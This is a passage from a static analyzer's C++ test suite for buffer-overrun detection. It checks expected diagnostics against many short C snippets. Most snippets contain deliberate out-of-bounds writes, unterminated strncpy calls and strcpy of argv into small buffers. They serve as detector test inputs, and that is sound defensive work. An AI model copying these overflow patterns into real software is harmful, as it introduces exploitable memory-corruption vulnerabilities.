NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int **a = new int*[2];\\n\"\n \" for (int i = 0; i < 3; i++)\\n\"\n \" a[i] = NULL;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // statically allocated buffer\n void alloc_string() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *s = \\\"123\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = \\\"\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const char *s = \\\"\\\";\\n\"\n \" s = y();\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\" // #7718\n \"{\\n\"\n \" std::string s = \\\"123\\\";\\n\"\n \" s.resize(100);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // data is allocated with alloca\n void alloc_alloca() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s = (char *)alloca(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n /*\n void countSprintfLength() const {\n std::list unknownParameter(1, nullptr);\n\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"Hello\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"i\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%d\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%1d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%2.2d\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"f%s\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%-s\", unknownParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"\\\\\\\"\", unknownParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"Hello \\\\0Text\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"\\\\0\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%%\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%d%d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\a%s\\\\0a\", unknownParameter));\n ASSERT_EQUALS(10, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\\\\\\\\\Hello%d \\\\0Text\\\\\\\\\\\\\\\\\", unknownParameter));\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"%%%%%d\", unknownParameter));\n\n Token strTok;\n std::list stringAsParameter(1, &strTok);\n strTok.str(\"\\\"\\\"\");\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n strTok.str(\"\\\"12345\\\"\");\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%-6s\", stringAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.6s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.6s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%6.6s\", stringAsParameter));\n\n Token numTok;\n numTok.str(\"12345\");\n std::list intAsParameter(1, &numTok);\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%02ld\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08ld\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.2d\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08.2d\", intAsParameter));\n TODO_ASSERT_EQUALS(5, 2, CheckBufferOverrun::countSprintfLength(\"%x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%1.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.1x\", intAsParameter));\n\n Token floatTok;\n floatTok.str(\"1.12345f\");\n std::list floatAsParameter(1, &floatTok);\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%8.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter));\n\n Token floatTok2;\n floatTok2.str(\"100.12345f\");\n std::list floatAsParameter2(1, &floatTok2);\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter2));\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(7, 5, CheckBufferOverrun::countSprintfLength(\"%4.2f\", floatAsParameter));\n\n std::list multipleParams = { &strTok, nullptr, &numTok };\n ASSERT_EQUALS(15, CheckBufferOverrun::countSprintfLength(\"str%s%d%d\", multipleParams));\n ASSERT_EQUALS(26, CheckBufferOverrun::countSprintfLength(\"str%-6s%08ld%08ld\", multipleParams));\n }\n */\n\n // extracttests.disable\n\n void minsize_argvalue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).severity(Severity::warning).build();\n settings.platform.sizeof_wchar_t = 4;\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 11);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" char a[5];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" mymemset(s.a, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (error) Buffer is accessed out of bounds: s.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char s[10];\\n\"\n \" mymemset(s, 0, '*');\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) The size argument is given as a char constant.\\n\"\n \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #836\n check(\"void f(void) {\\n\"\n \" char a[10];\\n\"\n \" mymemset(a+5, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // Ticket #909\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 5);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 21);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1659 - overflowing variable when using memcpy\n check(\"void f(void) {\\n\"\n \" char c;\\n\"\n \" mymemset(&c, 0, 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // ticket #2121 - buffer access out of bounds when using uint32_t\n check(\"void f(void) {\\n\"\n \" unknown_type_t buf[4];\\n\"\n \" mymemset(buf, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3124 - multidimensional array\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 5 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 6 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 31);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // #4968 - not standard function\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" foo.mymemset(str, 0, 100);\\n\"\n \" foo::mymemset(str, 0, 100);\\n\"\n \" std::mymemset(str, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // #5257 - check strings\n check(\"void f() {\\n\"\n \" mymemset(\\\"abc\\\", 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (error) Buffer is accessed out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" mymemset(temp, \\\"abc\\\", 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #6816 - fp when array has known string value\n \" char c[10] = \\\"c\\\";\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_sizeof() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[7];\\n\"\n \" mystrncpy(c, \\\"hello\\\", 7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello!\\\",7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned int addr) {\\n\"\n \" memset((void *)addr, 0, 1000);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { char a[10]; };\\n\"\n \"void foo(AB *ab) {\\n\"\n \" mystrncpy(x, ab->a, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a(char *p) { mystrncpy(p,\\\"hello world!\\\",10); }\\n\" // #3168\n \"void b() {\\n\"\n \" char buf[5];\\n\"\n \" a(buf);\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:1]: (error) Buffer is accessed out of bounds: buf\\n\",\n \"\",\n errout_str());\n }\n\n void minsize_strlen() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // formatstr..\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" mysprintf(str, \\\"test\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%s\\\", \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int getnumber();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%d: %s\\\", getnumber(), \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", \\\"\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *str = new char[5];\\n\"\n \" mysprintf(str, \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"34\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"345\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #900\n check(\"void f() {\\n\"\n \" char *a = new char(30);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char value) {\\n\"\n \" char *a = new char(value);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo));\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error, inconclusive) Buffer is accessed out of bounds: x.a\\n\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo) + 10);\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct Foo {\\n\" // #6668 - unknown size\n \" char a[LEN];\\n\"\n \" void f();\\n\"\n \"};\"\n \"void Foo::f() {\\n\"\n \" mysprintf(a, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_mul() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 5, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 6, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n // extracttests.enable\n\n void unknownType() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" UnknownType *a = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n // extracttests.disable\n void terminateStrncpy1() {\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[x+1] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test with invalid code that there is no segfault\n check(\"char baz[100];\\n\"\n \"strncpy(baz, \\\"var\\\", 100)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that there are no duplicate error messages\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" foo(baz);\\n\"\n \" foo(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy2() {\n check(\"char *foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" bar[99] = 0;\\n\"\n \" return strdup(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy3() {\n // Ticket #2170 - false positive\n // The function bar is risky. But it might work that way intentionally.\n check(\"char str[100];\\n\"\n \"\\n\"\n \"void foo(char *a) {\\n\"\n \" strncpy(str, a, 100);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar(char *p) {\\n\"\n \" strncpy(p, str, 100);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) The buffer 'str' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy4() {\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"ab\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"abcde\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'buf' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy5() { // #9944\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" return;\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning, inconclusive) The buffer 'v' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n // extracttests.enable\n\n void recursive_long_time() {\n // Just test that recursive check doesn't take long time\n check(\"char *f2 ( char *b )\\n\"\n \"{\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" f2(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // Ticket #1587 - crash\n void crash1() {\n check(\"struct struct A\\n\"\n \"{\\n\"\n \" int alloclen;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct A *str;\\n\"\n \" str = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void crash2() {\n check(\"void a(char *p) {\\n\"\n \" f( { if(finally_arg); } );\\n\"\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" char arr[64];\\n\"\n \" a(arr);\\n\"\n \"}\");\n }\n\n void crash3() {\n check(\"struct b { unknown v[0]; };\\n\"\n \"void d() { struct b *f; f = malloc(108); }\");\n }\n\n void crash4() { // #8679\n check(\"__thread void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n\n check(\"thread_local void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n }\n\n void crash5() { // 8644 - token has varId() but variable() is null\n check(\"int a() {\\n\"\n \" void b(char **dst) {\\n\"\n \" *dst = malloc(50);\\n\"\n \" }\\n\"\n \"}\");\n }\n\n void crash6() {\n check(\"void start(char* name) {\\n\"\n \"char snapname[64] = { 0 };\\n\"\n \"strncpy(snapname, \\\"snapshot\\\", arrayLength(snapname));\\n\"\n \"}\");\n }\n\n void crash7() { // 9073 - [ has no astParent\n check(\"char x[10];\\n\"\n \"void f() { x[10]; }\");\n }\n\n void insecureCmdLineArgs() {\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2];\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcpy(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2] = {'\\\\0','\\\\0'};\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcat(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n 